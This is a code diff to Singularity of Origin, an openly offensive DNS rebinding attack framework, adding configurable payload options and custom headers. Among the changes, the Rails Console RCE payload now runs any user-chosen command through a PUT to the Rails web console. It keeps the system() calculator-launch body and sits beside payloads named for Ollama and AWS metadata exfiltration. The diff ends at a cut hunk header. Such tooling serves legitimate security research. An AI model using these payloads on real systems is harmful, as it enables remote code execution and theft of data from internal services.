diff --git a/html/manager-config.json b/html/manager-config.json
index 637bb5e..febd6f5 100644
--- a/html/manager-config.json
+++ b/html/manager-config.json
@@ -11,7 +11,18 @@
"indexToken": "thisismytesttoken",
"attackPayloads": [{
"name": "Simple Fetch Get",
- "ports": []
+ "ports": [],
+ "configSchema": {
+ "type": "object",
+ "properties": {
+ "logResponse": {
+ "type": "boolean",
+ "title": "Log Response",
+ "description": "Log the response to console",
+ "default": true
+ }
+ }
+ }
}, {
"name": "Ollama Llama2 Exfil",
"ports": [11434]
@@ -32,7 +43,24 @@
"ports": [4000]
}, {
"name": "Rails Console RCE",
- "ports": [3000]
+ "ports": [3000],
+ "configSchema": {
+ "type": "object",
+ "properties": {
+ "command": {
+ "type": "string",
+ "title": "Ruby Command",
+ "description": "Ruby command to execute in Rails console",
+ "default": "puts Rails.env"
+ },
+ "autoExecute": {
+ "type": "boolean",
+ "title": "Auto Execute",
+ "description": "Automatically execute the command",
+ "default": false
+ }
+ }
+ }
}, {
"name": "AWS Metadata Exfil",
"ports": [80]
diff --git a/html/manager.html b/html/manager.html
index caf7088..ef95963 100644
--- a/html/manager.html
+++ b/html/manager.html
@@ -193,7 +193,7 @@
Singularity of Origin DNS Rebinding Attack
-
@@ -201,6 +201,36 @@
Singularity of Origin DNS Rebinding Attack
+
+
+
+
+
+
diff --git a/html/manager.js b/html/manager.js
index ba0d361..56d552d 100644
--- a/html/manager.js
+++ b/html/manager.js
@@ -3,6 +3,7 @@
const Payload = () => {
let name = null;
let ports = [];
+ let configSchema = null;
return {
getName() {
return name;
@@ -10,9 +11,13 @@ const Payload = () => {
getPorts() {
return ports;
},
- init(n, p) {
+ getConfigSchema() {
+ return configSchema;
+ },
+ init(n, p, cs) {
name = n;
ports = p;
+ configSchema = cs || null;
}
}
}
@@ -35,6 +40,8 @@ const Configuration = () => {
let rebindingStrategy = null;
let attackMethod = null; //'iframe', or 'fetch
let flushDns = null;
+ let customHeaders = null;
+ let payloadConfig = null;
let rebindingSuccessFn = null;
@@ -95,7 +102,7 @@ const Configuration = () => {
let config = JSON.parse(d);
for (let p of config.attackPayloads) {
let myConfigPayload = Payload();
- myConfigPayload.init(p.name, p.ports);
+ myConfigPayload.init(p.name, p.ports, p.configSchema);
attackPayloads.push(myConfigPayload);
}
attackHostDomain = config.attackHostDomain;
@@ -168,6 +175,18 @@ const Configuration = () => {
setAttackMethod(attackMethodName) {
attackMethod = attackMethodName;
},
+ getCustomHeaders() {
+ return customHeaders;
+ },
+ setCustomHeaders(headers) {
+ customHeaders = headers;
+ },
+ getPayloadConfig() {
+ return payloadConfig;
+ },
+ setPayloadConfig(config) {
+ payloadConfig = config;
+ },
setManually(configObject) {
attackHostIPAddress = configObject.attackHostIPAddress;
attackHostDomain = configObject.attackHostDomain;
@@ -365,8 +384,171 @@ const App = () => {
document.getElementById(configuration.getRebindingStrategy()).selected = true;
document.getElementById('attackmethod').value = configuration.getAttackMethod();
document.getElementById('flushdns').checked = configuration.getFlushDns();
+
+ // Setup payload selection change handler
+ payloadsElement.addEventListener('change', function() {
+ updatePayloadConfigUI(payloadsElement.value);
+ });
};
+ // Generate dynamic UI based on selected payload's config schema
+ function updatePayloadConfigUI(payloadName) {
+ const payloadConfigSection = document.getElementById('payloadConfigSection');
+ const payloadConfigFields = document.getElementById('payloadConfigFields');
+
+ // Clear existing fields
+ payloadConfigFields.innerHTML = '';
+
+ // Find the selected payload
+ const payload = configuration.getAttackPayloads().find(p => p.getName() === payloadName);
+
+ if (!payload || !payload.getConfigSchema()) {
+ payloadConfigSection.className = 'd-none';
+ return;
+ }
+
+ const schema = payload.getConfigSchema();
+
+ if (!schema.properties || Object.keys(schema.properties).length === 0) {
+ payloadConfigSection.className = 'd-none';
+ return;
+ }
+
+ // Show the section
+ payloadConfigSection.className = 'd-block';
+
+ // Generate form fields based on schema
+ for (const [fieldName, fieldSchema] of Object.entries(schema.properties)) {
+ const fieldGroup = document.createElement('div');
+ fieldGroup.className = 'form-group row mb-2';
+
+ const labelCol = document.createElement('div');
+ labelCol.className = 'col-4';
+ const label = document.createElement('label');
+ label.setAttribute('for', `payloadConfig_${fieldName}`);
+ label.textContent = fieldSchema.title || fieldName;
+ labelCol.appendChild(label);
+
+ const inputCol = document.createElement('div');
+ inputCol.className = 'col-4';
+
+ let inputElement;
+
+ switch (fieldSchema.type) {
+ case 'boolean':
+ inputElement = document.createElement('input');
+ inputElement.type = 'checkbox';
+ inputElement.checked = fieldSchema.default || false;
+ inputElement.className = 'form-check-input';
+ break;
+
+ case 'number':
+ case 'integer':
+ inputElement = document.createElement('input');
+ inputElement.type = 'number';
+ inputElement.value = fieldSchema.default || 0;
+ inputElement.className = 'form-control';
+ if (fieldSchema.minimum !== undefined) {
+ inputElement.min = fieldSchema.minimum;
+ }
+ if (fieldSchema.maximum !== undefined) {
+ inputElement.max = fieldSchema.maximum;
+ }
+ break;
+
+ case 'string':
+ if (fieldSchema.enum) {
+ inputElement = document.createElement('select');
+ inputElement.className = 'form-control';
+ for (const enumValue of fieldSchema.enum) {
+ const option = document.createElement('option');
+ option.value = enumValue;
+ option.text = enumValue;
+ if (enumValue === fieldSchema.default) {
+ option.selected = true;
+ }
+ inputElement.appendChild(option);
+ }
+ } else {
+ inputElement = document.createElement('input');
+ inputElement.type = 'text';
+ inputElement.value = fieldSchema.default || '';
+ inputElement.className = 'form-control';
+ inputElement.spellcheck = false;
+ }
+ break;
+
+ default:
+ inputElement = document.createElement('input');
+ inputElement.type = 'text';
+ inputElement.value = fieldSchema.default || '';
+ inputElement.className = 'form-control';
+ }
+
+ inputElement.id = `payloadConfig_${fieldName}`;
+ inputElement.setAttribute('data-field-name', fieldName);
+ inputElement.setAttribute('data-field-type', fieldSchema.type);
+ inputCol.appendChild(inputElement);
+
+ const helpCol = document.createElement('div');
+ helpCol.className = 'col-4';
+ if (fieldSchema.description) {
+ const helpText = document.createElement('small');
+ helpText.className = 'form-text text-muted';
+ helpText.textContent = fieldSchema.description;
+ helpCol.appendChild(helpText);
+ }
+
+ fieldGroup.appendChild(labelCol);
+ fieldGroup.appendChild(inputCol);
+ fieldGroup.appendChild(helpCol);
+ payloadConfigFields.appendChild(fieldGroup);
+ }
+ }
+
+ // Collect payload config from UI
+ function collectPayloadConfig() {
+ const payloadConfigFields = document.getElementById('payloadConfigFields');
+ const inputs = payloadConfigFields.querySelectorAll('input, select, textarea');
+ const config = {};
+
+ for (const input of inputs) {
+ const fieldName = input.getAttribute('data-field-name');
+ const fieldType = input.getAttribute('data-field-type');
+
+ if (!fieldName) continue;
+
+ switch (fieldType) {
+ case 'boolean':
+ config[fieldName] = input.checked;
+ break;
+ case 'number':
+ case 'integer':
+ config[fieldName] = parseFloat(input.value);
+ break;
+ default:
+ config[fieldName] = input.value;
+ }
+ }
+
+ return config;
+ }
+
+ // Collect custom headers from UI
+ function collectCustomHeaders() {
+ const customHeadersInput = document.getElementById('customHeaders');
+ if (!customHeadersInput || !customHeadersInput.value.trim()) {
+ return {};
+ }
+
+ try {
+ return JSON.parse(customHeadersInput.value);
+ } catch (e) {
+ console.error('Failed to parse custom headers:', e);
+ return {};
+ }
+ }
+
// Helper functions to allow users inputting common IP addresses instead of hexstrings, and CNAMEs
@@ -636,6 +818,13 @@ function ipToHexOrOriginal(input) {
cmd: 'flushdns',
param: { hostname: window.location.hostname, flushDns: configuration.getFlushDns() }
}, "*");
+ msg.source.postMessage({
+ cmd: 'options',
+ param: {
+ headers: configuration.getCustomHeaders() || {},
+ config: configuration.getPayloadConfig() || {}
+ }
+ }, "*");
configuration.setFlushDns(false); // so it run only once in autoattack.
if (configuration.getAttackMethod() === 'fetch') {
msg.source.postMessage({
@@ -696,6 +885,12 @@ function ipToHexOrOriginal(input) {
const UiAttackWsProxyPort = document.getElementById('wsproxyport').value;
configuration.setWsProxyPort(UiAttackWsProxyPort);
+ // Collect options
+ const customHeaders = collectCustomHeaders();
+ configuration.setCustomHeaders(customHeaders);
+
+ const payloadConfig = collectPayloadConfig();
+ configuration.setPayloadConfig(payloadConfig);
let fid = fm.addFrame(hosturl
.replace("%1", ipToHexOrOriginal(document.getElementById('attackhostipaddress').value))
diff --git a/html/payload.js b/html/payload.js
index b82418e..ebb2bf2 100644
--- a/html/payload.js
+++ b/html/payload.js
@@ -1,7 +1,18 @@
// Wrap `fetch()` API, so we can invoke it:
// from the attack iframe (fetch attack method)
// or from the child iframe of the attack iframe (iframe attack method)
+// Custom headers will be applied to all fetch calls
+let customHeaders = {};
let sooFetch = function (resource, options) {
+ // Merge custom headers with existing headers
+ if (Object.keys(customHeaders).length > 0) {
+ options = options || {};
+ options.headers = options.headers || {};
+ // Apply custom headers
+ for (const [key, value] of Object.entries(customHeaders)) {
+ options.headers[key] = value;
+ }
+ }
return fetch(resource, options)
};
@@ -19,6 +30,7 @@ const Rebinder = () => {
let interval = 60000;
let wsproxyport = 3129;
let rebindingSuccess = false;
+ let options = { headers: {}, config: {} };
const rebindingStatusEl = document.getElementById('rebindingstatus');
@@ -39,6 +51,11 @@ const Rebinder = () => {
case 'wsproxyport':
wsproxyport = e.data.param;
break;
+ case 'options':
+ options = e.data.param || { headers: {}, config: {} };
+ customHeaders = options.headers || {};
+ console.log('Received options:', options);
+ break;
case 'flushdns':
if (e.data.param.flushDns === true) {
console.log('Flushing Browser DNS cache.');
@@ -157,7 +174,7 @@ const Rebinder = () => {
// Terminate the attack
rebindingSuccess = true;
rebindingStatusEl.innerText = `DNS rebinding successful! (HTTP ${responseData.status})`;
- rebindingDoneFn(payload, headers, cookie, body, wsproxyport);
+ rebindingDoneFn(payload, headers, cookie, body, wsproxyport, options);
})
.catch(function (error) {
if (error instanceof TypeError) { // We cannot establish an HTTP connection
diff --git a/html/payloads/hook-and-control.js b/html/payloads/hook-and-control.js
index 73630de..b212c3b 100644
--- a/html/payloads/hook-and-control.js
+++ b/html/payloads/hook-and-control.js
@@ -7,7 +7,9 @@ were working from the target environment.
const HookAndControl = () => {
// Invoked after DNS rebinding has been performed
- function attack(headers, cookie, body, wsProxyPort) {
+ function attack(headers, cookie, body, wsProxyPort, options) {
+ options = options || { headers: {}, config: {} };
+
if (headers !== null) {
console.log(`Origin: ${window.location} headers: ${httpHeaderstoText(headers)}`);
};
@@ -24,7 +26,7 @@ const HookAndControl = () => {
// Invoked to determine whether the rebinded service
// is the one targeted by this payload. Must return true or false.
- async function isService(headers, cookie, body) {
+ async function isService(headers, cookie, body, options) {
return false;
}
diff --git a/html/payloads/rails-console-rce.js b/html/payloads/rails-console-rce.js
index 23efdd6..aaf076b 100644
--- a/html/payloads/rails-console-rce.js
+++ b/html/payloads/rails-console-rce.js
@@ -13,7 +13,14 @@ https://edgeguides.rubyonrails.org/6_0_release_notes.html#railties-notable-chang
const RailsConsoleRce = () => {
// Invoked after DNS rebinding has been performed
- function attack(headers, cookie, body) {
+ function attack(headers, cookie, body, wsProxyPort, options) {
+ options = options || { headers: {}, config: {} };
+ const config = options.config || {};
+
+ // Get command from config, default to Rails.env
+ const command = config.command || "puts Rails.env";
+ const autoExecute = config.autoExecute !== false; // default is true for backwards compatibility
+
let myHeaders = new Headers();
sooFetch('/nonexistingpage')
@@ -35,20 +42,32 @@ const RailsConsoleRce = () => {
myHeaders.append("X-Requested-With", "XMLHttpRequest");
myHeaders.append("Content-Type", "application/x-www-form-urlencoded");
- sooFetch(path, {
- method: 'PUT',
- headers: myHeaders,
- //body: "input=system(%22calc%22)" // Windows
- //body: "input=system(%22open%20%2fApplications%2fCalculator.app%26%22)" // OSX
- //body: "input=system(%22xcalc%26%22)" // Linux (the & (%26) is to execute the command in the background)
- body: "input=system(%22open%20%2fApplications%2fCalculator.app%26xcalc%26%22)" // OSX & Linux combined ("open /Applications/Calculator.app&xcalc&")
- })
+ if (autoExecute) {
+ // Execute the configured command
+ const encodedCommand = encodeURIComponent(command);
+ console.log(`Executing command: ${command}`);
+ sooFetch(path, {
+ method: 'PUT',
+ headers: myHeaders,
+ body: `input=${encodedCommand}`
+ })
+ } else {
+ // Original default behavior - open calculator
+ sooFetch(path, {
+ method: 'PUT',
+ headers: myHeaders,
+ //body: "input=system(%22calc%22)" // Windows
+ //body: "input=system(%22open%20%2fApplications%2fCalculator.app%26%22)" // OSX
+ //body: "input=system(%22xcalc%26%22)" // Linux (the & (%26) is to execute the command in the background)
+ body: "input=system(%22open%20%2fApplications%2fCalculator.app%26xcalc%26%22)" // OSX & Linux combined ("open /Applications/Calculator.app&xcalc&")
+ })
+ }
})
}
// Invoked to determine whether the rebinded service
// is the one targeted by this payload. Must return true or false.
- async function isService(headers, cookie, body) {
+ async function isService(headers, cookie, body, options) {
return sooFetch("/nonexistingpage",{
mode: 'no-cors',
credentials: 'omit',
diff --git a/html/payloads/simple-fetch-get.js b/html/payloads/simple-fetch-get.js
index 95afe30..a8b086a 100644
--- a/html/payloads/simple-fetch-get.js
+++ b/html/payloads/simple-fetch-get.js
@@ -7,21 +7,26 @@ Copy the content of this file to a new .js file and add its name to the
const SimpleFetchGet = () => {
// Invoked after DNS rebinding has been performed
- function attack(headers, cookie, body) {
- if (headers !== null) {
- console.log(`Origin: ${window.location} headers: ${httpHeaderstoText(headers)}`);
- };
- if (cookie !== null) {
- console.log(`Origin: ${window.location} headers: ${cookie}`);
- };
- if (body !== null) {
- console.log(`Origin: ${window.location} body:\n${body}`);
- };
+ function attack(headers, cookie, body, wsProxyPort, options) {
+ options = options || { headers: {}, config: {} };
+ const config = options.config || {};
+
+ if (config.logResponse !== false) { // default is true
+ if (headers !== null) {
+ console.log(`Origin: ${window.location} headers: ${httpHeaderstoText(headers)}`);
+ };
+ if (cookie !== null) {
+ console.log(`Origin: ${window.location} headers: ${cookie}`);
+ };
+ if (body !== null) {
+ console.log(`Origin: ${window.location} body:\n${body}`);
+ };
+ }
}
// Invoked to determine whether the rebinded service
// is the one targeted by this payload. Must return true or false.
- async function isService(headers, cookie, body) {
+ async function isService(headers, cookie, body, options) {
return false;
}
diff --git a/singularity.go b/singularity.go
index 6bcd6c5..db2cc31 100644
--- a/singularity.go
+++ b/singularity.go
@@ -629,18 +629,18 @@ func (pth *PayloadTemplateHandler) ServeHTTP(w http.ResponseWriter, r *http.Requ